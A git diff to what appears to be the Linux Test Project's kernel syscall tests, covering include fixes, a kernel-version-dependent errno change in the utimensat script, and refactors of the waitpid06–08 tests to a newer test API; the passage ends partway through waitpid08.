diff --git a/testcases/kernel/syscalls/utils/compat_16.mk b/testcases/kernel/syscalls/utils/compat_16.mk
index 36ece1b..3378908 100644
--- a/testcases/kernel/syscalls/utils/compat_16.mk
+++ b/testcases/kernel/syscalls/utils/compat_16.mk
@@ -17,7 +17,7 @@
 #
 
 # Author: Masatake YAMATO <yamato@redhat.com>
-# Technique used here is suggested by Garrett Cooper <yanegomi@gmail.com>
+# Technique used here is suggested by Ngie Cooper <yaneurabeya@gmail.com>
 
 # Usage:
 #
diff --git a/testcases/kernel/syscalls/utils/include_j_h.h b/testcases/kernel/syscalls/utils/include_j_h.h
index ff6aaf4..742d964 100644
--- a/testcases/kernel/syscalls/utils/include_j_h.h
+++ b/testcases/kernel/syscalls/utils/include_j_h.h
@@ -135,12 +135,6 @@
 int setup_swapfile(char *testdir, char *fname, char *path, size_t size);
 int cleanup_swapfile(char *path);
 
-int setup_ulimit_fnum(rlim_t newlim, rlim_t *oldlim);
-int cleanup_ulimit_fnum(rlim_t oldlim);
-
-int setup_proc_fs(char *path, int newval, int *oldval);
-int cleanup_proc_fs(char *path, int oldval);
-
 #define QUEUE_NAME	"/test_mqueue"
 pid_t create_echo_msg_proc(void);
 
diff --git a/testcases/kernel/syscalls/utils/newer_64.mk b/testcases/kernel/syscalls/utils/newer_64.mk
index 1125cbd..8cd7e03 100644
--- a/testcases/kernel/syscalls/utils/newer_64.mk
+++ b/testcases/kernel/syscalls/utils/newer_64.mk
@@ -17,7 +17,7 @@
 #
 
 # Author: Masatake YAMATO <yamato@redhat.com>
-# Technique used here is suggested by Garrett Cooper <yanegomi@gmail.com>
+# Technique used here is suggested by Ngie Cooper <yaneurabeya@gmail.com>
 
 # This file does the same things on foo64 system call
 # as compat_16.mk does on foo16. See both compat_16.mk
diff --git a/testcases/kernel/syscalls/utime/utime03.c b/testcases/kernel/syscalls/utime/utime03.c
index 86e9b8d..1c34119 100644
--- a/testcases/kernel/syscalls/utime/utime03.c
+++ b/testcases/kernel/syscalls/utime/utime03.c
@@ -83,7 +83,7 @@
 #include <string.h>
 #include <unistd.h>
 #include <utime.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <time.h>
diff --git a/testcases/kernel/syscalls/utime/utime06.c b/testcases/kernel/syscalls/utime/utime06.c
index 5a02f1e..2a97cce 100644
--- a/testcases/kernel/syscalls/utime/utime06.c
+++ b/testcases/kernel/syscalls/utime/utime06.c
@@ -44,7 +44,7 @@
 #include <string.h>
 #include <unistd.h>
 #include <utime.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/mount.h>
diff --git a/testcases/kernel/syscalls/utimensat/utimensat_tests.sh b/testcases/kernel/syscalls/utimensat/utimensat_tests.sh
index 4ae8651..3cc1707 100755
--- a/testcases/kernel/syscalls/utimensat/utimensat_tests.sh
+++ b/testcases/kernel/syscalls/utimensat/utimensat_tests.sh
@@ -26,10 +26,19 @@
 export TST_COUNT=0
 . test.sh
 
-if tst_kvercmp 2 6 22 ; then
+if tst_kvcmp -lt "2.6.22"; then
 	tst_brkm TCONF "System kernel version is less than 2.6.22,cannot execute test"
 fi
 
+# Starting with 4.8.0 operations on immutable files return EPERM instead of
+# EACCES.
+if tst_kvcmp -lt "4.8.0"; then
+	imaccess=EACCES
+else
+	imaccess=EPERM
+fi
+
+
 RESULT_FILE=$TMPDIR/utimensat.result
 
 TEST_DIR=$TMPDIR/utimensat_tests
@@ -415,10 +424,10 @@
 echo
 
 echo "***** Testing times==NULL case *****"
-run_test -W "" 600 "+i" "" EACCES
+run_test -W "" 600 "+i" "" $imaccess
 
 echo "***** Testing times=={ UTIME_NOW, UTIME_NOW } case *****"
-run_test -W "" 600 "+i" "0 n 0 n" EACCES
+run_test -W "" 600 "+i" "0 n 0 n" $imaccess
 
 echo "***** Testing times=={ UTIME_OMIT, UTIME_OMIT } case *****"
 run_test -W "" 600 "+i" "0 o 0 o" SUCCESS n n
@@ -441,10 +450,10 @@
 echo
 
 echo "***** Testing times==NULL case *****"
-run_test -W "" 600 "+ai" "" EACCES
+run_test -W "" 600 "+ai" "" $imaccess
 
 echo "***** Testing times=={ UTIME_NOW, UTIME_NOW } case *****"
-run_test -W "" 600 "+ai" "0 n 0 n" EACCES
+run_test -W "" 600 "+ai" "0 n 0 n" $imaccess
 
 echo "***** Testing times=={ UTIME_OMIT, UTIME_OMIT } case *****"
 run_test -W "" 600 "+ai" "0 o 0 o" SUCCESS n n
diff --git a/testcases/kernel/syscalls/vfork/vfork02.c b/testcases/kernel/syscalls/vfork/vfork02.c
index 8ba75f8..aadc599 100644
--- a/testcases/kernel/syscalls/vfork/vfork02.c
+++ b/testcases/kernel/syscalls/vfork/vfork02.c
@@ -75,7 +75,7 @@
 #include <string.h>
 #include <signal.h>
 #include <sys/stat.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/vhangup/vhangup01.c b/testcases/kernel/syscalls/vhangup/vhangup01.c
index 4aeede8..c35dec2 100644
--- a/testcases/kernel/syscalls/vhangup/vhangup01.c
+++ b/testcases/kernel/syscalls/vhangup/vhangup01.c
@@ -24,7 +24,7 @@
 #include <unistd.h>
 #include <errno.h>
 #include <pwd.h>
-#include <wait.h>
+#include <sys/wait.h>
 
 #include "test.h"
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/vhangup/vhangup02.c b/testcases/kernel/syscalls/vhangup/vhangup02.c
index 136b268..b6bca5d 100644
--- a/testcases/kernel/syscalls/vhangup/vhangup02.c
+++ b/testcases/kernel/syscalls/vhangup/vhangup02.c
@@ -44,7 +44,7 @@
 #include <sys/types.h>
 #include <errno.h>
 #include <pwd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include "test.h"
 
 void setup(void);
diff --git a/testcases/kernel/syscalls/waitid/waitid02.c b/testcases/kernel/syscalls/waitid/waitid02.c
index b72e25e..db7e883 100644
--- a/testcases/kernel/syscalls/waitid/waitid02.c
+++ b/testcases/kernel/syscalls/waitid/waitid02.c
@@ -38,6 +38,7 @@
 /*              Manas Kumar Nayak maknayak@in.ibm.com>                        */
 /******************************************************************************/
 
+#define _XOPEN_SOURCE 500
 #include <stdio.h>
 #include <errno.h>
 #include <stdlib.h>
diff --git a/testcases/kernel/syscalls/waitpid/waitpid06.c b/testcases/kernel/syscalls/waitpid/waitpid06.c
index dbbc104..20c30e1 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid06.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid06.c
@@ -1,303 +1,64 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid06.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same.
- *
- * ALGORITHM
- *	Check proper functioning of waitpid with pid = -1 and arg = 0
- *
- * USAGE:  <for command-line>
- *      waitpid06 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
-
-static void setup_sigint(void);
-static void do_child_1(void);
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "waitpid06";
-int TST_TOTAL = 1;
-volatile int intintr;
-static void inthandlr();
-static void do_exit(void);
-static int flag;
-
-#define	FAILED	1
-#define	MAXKIDS	8
-
-#ifdef UCLINUX
-static char *argv0;
-static void do_child_2_uclinux(void);
-#endif
-
-int main(int argc, char **argv)
-{
-	int lc;
-	int fail = 0;
-	int pid;
-	int status;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-#ifdef UCLINUX
-	argv0 = argv[0];
-
-	maybe_run_child(&do_child_1, "n", 1);
-	maybe_run_child(&do_child_2_uclinux, "n", 2);
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0) {
-			tst_resm(TINFO, "Fork Failed, may be OK under stress");
-			exit(pid);
-		} else if (pid == 0) {
-			/*
-			 * Child:
-			 * Set up to catch SIGINT.  The kids will wait till a
-			 * SIGINT has been received before they proceed.
-			 */
-#ifdef UCLINUX
-			if (self_exec(argv[0], "n", 1) < 0) {
-				tst_resm(TINFO, "self_exec failed");
-				exit(pid);
-			}
-#else
-			do_child_1();
-#endif
-		} else {	/* parent */
-			fail = 0;
-			waitpid(pid, &status, 0);
-			if (WEXITSTATUS(status) != 0) {
-				tst_resm(TFAIL, "child returned bad status");
-				fail = 1;
-			}
-			if (fail)
-				tst_resm(TFAIL, "%s FAILED", TCID);
-			else
-				tst_resm(TPASS, "%s PASSED", TCID);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 /*
- * setup_sigint()
- *	Sets up a SIGINT handler
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same.
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = -1 and arg = 0
  */
-static void setup_sigint(void)
-{
-	if ((sig_t) signal(SIGINT, inthandlr) == SIG_ERR) {
-		tst_resm(TFAIL, "signal SIGINT failed. " "errno = %d", errno);
-		exit(-1);
-	}
-}
+
+#include "waitpid_common.h"
 
 static void do_child_1(void)
 {
-	int kid_count, fork_kid_pid[MAXKIDS];
-	int ret_val;
-	int i, j, k, found;
-	int group1, group2;
-	int wait_kid_pid[MAXKIDS], status;
+	pid_t pid;
+	int i;
 
-	setup_sigint();
-
-	group1 = getpgrp();
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
-
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {	/* child */
-#ifdef UCLINUX
-			if (self_exec(argv0, "n", 2) < 0) {
-				tst_resm(TFAIL, "Fork kid %d failed. "
-					 "errno = %d", kid_count, errno);
-				exit(ret_val);
-			}
-#else
-			do_exit();
-#endif
-		} else if (ret_val < 0) {
-			tst_resm(TFAIL, "Fork kid %d failed. "
-				 "errno = %d", kid_count, errno);
-			exit(ret_val);
-		}
-
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
-	}
-
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
-
-	/* Now send all the kids a SIGINT to tell them to
-	 * proceed
-	 */
 	for (i = 0; i < MAXKIDS; i++) {
-		if (kill(fork_kid_pid[i], SIGINT) < 0) {
-			tst_resm(TFAIL, "Kill of child %d "
-				 "failed, errno = %d", i, errno);
-			exit(-1);
-		}
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
+
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(0);
+
+		fork_kid_pid[i] = pid;
 	}
 
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-1, &status, 0)) != -1) || (errno == EINTR)) {
-		if (ret_val == -1)
-			continue;
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			flag = FAILED;
-			printf("status: %d\n", status);
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d"
-					 "exited with wrong "
-					 "status", ret_val);
-				tst_resm(TFAIL, "Expected 3 "
-					 "got %d ", WEXITSTATUS(status));
-				flag = FAILED;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
+	if (TST_TRACE(reap_children(-1, 0, fork_kid_pid, MAXKIDS)))
+		return;
 
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array. If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a "
-				 "wait_kid_pid for the "
-				 "fork_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++) {
-				tst_resm(TFAIL,
-					 "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			}
-			for (k = 0; k < kid_count; k++) {
-				tst_resm(TFAIL,
-					 "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			}
-			flag = FAILED;
-		}
-	}
-
-	if (flag)
-		exit(1);
-	else
-		exit(0);
+	tst_res(TPASS, "Test PASSED");
 }
 
-#ifdef UCLINUX
-/*
- * do_child_2_uclinux()
- *	sets up sigint handler again, then calls the normal child 2 function
- */
-static void do_child_2_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
-
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
-}
+static struct tst_test test = {
+	.tid = "waitpid06",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid07.c b/testcases/kernel/syscalls/waitpid/waitpid07.c
index 92f921d..9166fbe 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid07.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid07.c
@@ -1,314 +1,69 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid07.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same.
- *
- * ALGORITHM
- *	Check proper functioning of waitpid with pid = -1 and arg = WNOHANG
- *
- * USAGE:  <for command-line>
- *      waitpid07 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
-
-static void setup_sigint(void);
-static void do_child_1(void);
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "waitpid07";
-int TST_TOTAL = 1;
-
-volatile int intintr;
-static int flag;
-static void inthandlr();
-static void do_exit(void);
-
-#define	FAILED	1
-#define MAXKIDS	8
-
-#ifdef UCLINUX
-static char *argv0;
-static void do_child_2_uclinux(void);
-#endif
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	int status;
-	int fail = 0;
-	int pid;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-#ifdef UCLINUX
-	argv0 = argv[0];
-
-	maybe_run_child(&do_child_1, "n", 1);
-	maybe_run_child(&do_child_2_uclinux, "n", 2);
-#endif
-
-	setup();
-
-	/* check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0) {
-			tst_resm(TFAIL, "Fork Failed, may be OK under stress");
-		} else if (pid == 0) {
-
-			/*
-			 * Child:
-			 * Set up to catch SIGINT.  The kids will wait till a
-			 * SIGINT has been received before they proceed.
-			 */
-#ifdef UCLINUX
-			if (self_exec(argv[0], "n", 1) < 0) {
-				tst_resm(TINFO, "self_exec failed");
-				exit(pid);
-			}
-#else
-			do_child_1();
-#endif
-		} else {
-			fail = 0;
-			waitpid(pid, &status, 0);
-			if (WEXITSTATUS(status) != 0) {
-				tst_resm(TFAIL, "child returned bad status");
-				fail = 1;
-			}
-			if (fail)
-				tst_resm(TFAIL, "%s FAILED", TCID);
-			else
-				tst_resm(TPASS, "%s PASSED", TCID);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 /*
- * setup_sigint()
- *	Sets up a SIGINT handler
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same.
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = -1 and arg = WNOHANG
  */
-static void setup_sigint(void)
-{
-	if ((sig_t) signal(SIGINT, inthandlr) == SIG_ERR) {
-		tst_resm(TFAIL, "signal SIGINT failed. " "errno = %d", errno);
-		exit(-1);
-	}
-}
+
+#include "waitpid_common.h"
 
 static void do_child_1(void)
 {
-	int kid_count, fork_kid_pid[MAXKIDS];
-	int ret_val;
-	int i, j, k, found;
-	int group1, group2;
-	int wait_kid_pid[MAXKIDS], status;
+	pid_t pid;
+	int i;
+	int status;
 
-	setup_sigint();
+	for (i = 0; i < MAXKIDS; i++) {
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
 
-	group1 = getpgrp();
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(0);
 
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
-
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "n", 2) < 0) {
-				tst_resm(TFAIL, "Fork kid %d failed. "
-					 "errno = %d", kid_count, errno);
-				exit(ret_val);
-			}
-#else
-			do_exit();
-#endif
-		}
-
-		if (ret_val < 0) {
-			tst_brkm(TFAIL, NULL, "Fork kid %d failed. "
-				 "errno = %d", kid_count, errno);
-		}
-
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
+		fork_kid_pid[i] = pid;
 	}
 
 	/* Check that waitpid with WNOHANG returns zero */
-	ret_val = waitpid(-1, &status, WNOHANG);
-	if (ret_val != 0) {
-		tst_resm(TFAIL, "Waitpid returned wrong value");
-		tst_resm(TFAIL, "Expected 0 got %d", ret_val);
-		flag = FAILED;
-	}
-#ifdef UCLINUX
-	/* Give the kids a chance to setup SIGINT again, since this is
-	 * cleared by exec().
-	 */
-	sleep(3);
-#endif
+	if (TST_TRACE(waitpid_ret_test(-1, &status, WNOHANG, 0, 0)))
+		return;
 
-	/* Now send all the kids a SIGINT to tell them to
-	 * proceed
-	 */
-	for (i = 0; i < MAXKIDS; i++) {
-		if (kill(fork_kid_pid[i], SIGINT) < 0) {
-			tst_brkm(TFAIL, NULL, "Kill of child %d "
-				 "failed, errno = %d", i, errno);
-		}
-	}
+	TST_CHECKPOINT_WAKE2(0, MAXKIDS);
 
-	/*
-	 * Wait till all kids have terminated.  Stash away their
-	 * pid's in an array.
-	 */
-	kid_count = 0;
-	errno = 0;
-	while (((ret_val = waitpid(-1, &status, WNOHANG)) != -1)
-	       || (errno == EINTR)) {
-		if ((ret_val == -1) || (ret_val == 0))
-			continue;
+	if (TST_TRACE(reap_children(-1, WNOHANG, fork_kid_pid, MAXKIDS)))
+		return;
 
-		if (!WIFEXITED(status)) {
-			tst_resm(TFAIL, "Child %d did not exit "
-				 "normally", ret_val);
-			flag = FAILED;
-		} else {
-			if (WEXITSTATUS(status) != 3) {
-				tst_resm(TFAIL, "Child %d "
-					 "exited with wrong "
-					 "status", ret_val);
-				tst_resm(TFAIL, "Expected 3 "
-					 "got %d ", WEXITSTATUS(status));
-				flag = FAILED;
-			}
-		}
-		wait_kid_pid[kid_count++] = ret_val;
-	}
-
-	/*
-	 * Check that for every entry in the fork_kid_pid array,
-	 * there is a matching pid in the wait_kid_pid array. If
-	 * not, it's an error.
-	 */
-	for (i = 0; i < kid_count; i++) {
-		found = 0;
-		for (j = 0; j < MAXKIDS; j++) {
-			if (fork_kid_pid[j] == wait_kid_pid[i]) {
-				found = 1;
-				break;
-			}
-		}
-
-		if (!found) {
-			tst_resm(TFAIL, "Did not find a "
-				 "wait_kid_pid for the "
-				 "fork_kid_pid of %d", wait_kid_pid[i]);
-			for (k = 0; k < MAXKIDS; k++) {
-				tst_resm(TFAIL,
-					 "fork_kid_pid[%d] = "
-					 "%d", k, fork_kid_pid[k]);
-			}
-			for (k = 0; k < kid_count; k++) {
-				tst_resm(TFAIL,
-					 "wait_kid_pid[%d] = "
-					 "%d", k, wait_kid_pid[k]);
-			}
-			flag = FAILED;
-		}
-	}
-
-	if (flag)
-		exit(1);
-	else
-		exit(0);
+	tst_res(TPASS, "Test PASSED");
 }
 
-#ifdef UCLINUX
-/*
- * do_child_2_uclinux()
- *	sets up sigint handler again, then calls the normal child 2 function
- */
-static void do_child_2_uclinux(void)
-{
-	setup_sigint();
-	do_exit();
-}
-#endif
-
-static void setup(void)
-{
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static void inthandlr(void)
-{
-	intintr++;
-}
-
-static void wait_for_parent(void)
-{
-	int testvar;
-
-	while (!intintr)
-		testvar = 0;
-}
-
-static void do_exit(void)
-{
-	wait_for_parent();
-	exit(3);
-}
+static struct tst_test test = {
+	.tid = "waitpid07",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = waitpid_setup,
+	.cleanup = waitpid_cleanup,
+	.test_all = waitpid_test,
+};
diff --git a/testcases/kernel/syscalls/waitpid/waitpid08.c b/testcases/kernel/syscalls/waitpid/waitpid08.c
index b2e9e9b..f6efb9d 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid08.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid08.c
@@ -1,341 +1,72 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	waitpid08.c
- *
- * DESCRIPTION
- *	Tests to see if pid's returned from fork and waitpid are same
- *
- * ALGORITHM
- *	Check proper functioning of waitpid with pid = -1 and arg =
- *	WUNTRACED
- *
- * USAGE:  <for command-line>
- *      waitpid08 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  *
  * History
  *	07/2001 John George
  *		-Ported
  *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	None
  */
 
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
-
-static void inthandlr();
-static void do_exit(void);
-static void setup_sigint(void);
-static void do_child_1(void);
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "waitpid08";
-int TST_TOTAL = 1;
-volatile int intintr;
-static int fail;
-
-#define	MAXKIDS	8
-
-#ifdef UCLINUX
-static char *argv0;
-static void do_child_2_uclinux(void);
-#endif
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	int status;
-	int pid;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-#ifdef UCLINUX
-	argv0 = argv[0];
-
-	maybe_run_child(&do_child_1, "n", 1);
-	maybe_run_child(&do_child_2_uclinux, "n", 2);
-#endif
-
-	setup();
-
-	/* check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-		fail = 0;
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0) {
-			tst_resm(TFAIL, "Fork Failed, may be OK under stress");
-
-		} else if (pid == 0) {
-			/*
-			 * Child:
-			 * Set up to catch SIGINT.
-			 * The kids will wait till a SIGINT has been received
-			 * before they proceed.
-			 */
-#ifdef UCLINUX
-			if (self_exec(argv[0], "n", 1) < 0) {
-				tst_resm(TINFO, "self_exec failed");
-				exit(pid);
-			}
-#else
-			do_child_1();
-#endif
-		} else {	/* parent */
-			waitpid(pid, &status, 0);
-			if (WEXITSTATUS(status) != 0) {
-				tst_resm(TFAIL, "child returned bad status");
-				fail = 1;
-			}
-			if (fail)
-				tst_resm(TFAIL, "%s FAILED", TCID);
-			else
-				tst_resm(TPASS, "%s PASSED", TCID);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 /*
- * setup_sigint()
- *	Sets up a SIGINT handler
+ * DESCRIPTION
+ *	Tests to see if pids returned from fork and waitpid are same.
+ *
+ * ALGORITHM
+ *	Check proper functioning of waitpid with pid = -1 and arg =
+ *	WUNTRACED
  */
-static void setup_sigint(void)
-{
-	if ((sig_t) signal(SIGINT, inthandlr) == SIG_ERR) {
-		tst_resm(TFAIL, "signal SIGINT failed. " "errno = %d", errno);
-		exit(-1);
-	}
-}
+
+#include "waitpid_common.h"
 
 static void do_child_1(void)
 {
-	int kid_count, fork_kid_pid[MAXKIDS];
-	int ret_val;
-	int i, j, k, found;
-	int group1, group2;
-	int wait_kid_pid[MAXKIDS], status;
+	pid_t pid;
+	int i;
+	int status;
 
-	setup_sigint();
+	for (i = 0; i < MAXKIDS; i++) {
+		if (i == (MAXKIDS / 2))
+			SAFE_SETPGID(0, 0);
 
-	group1 = getpgrp();
+		pid = SAFE_FORK();
+		if (pid == 0)
+			do_exit(1);
 
-	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
-		if (kid_count == (MAXKIDS / 2))
-			group2 = setpgrp();
-
-		intintr = 0;
-		ret_val = FORK_OR_VFORK();
-		if (ret_val == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv0, "n", 2) < 0) {
-				tst_resm(TFAIL, "Fork kid %d failed. "
-					 "errno = %d", kid_count, errno);
-				exit(ret_val);
-			}
-#else
-			do_exit();
-#endif
-		}
-
-		if (ret_val < 0) {
-			tst_resm(TFAIL, "Fork kid %d failed. "
-				 "errno = %d", kid_count, errno);
-			exit(ret_val);
-		}
-
-		/* parent */
-		fork_kid_pid[kid_count] = ret_val;
+		fork_kid_pid[i] = pid;
 	}
 
 	/* Check that waitpid with WNOHANG|WUNTRACED returns
 	 * zero
 	 */
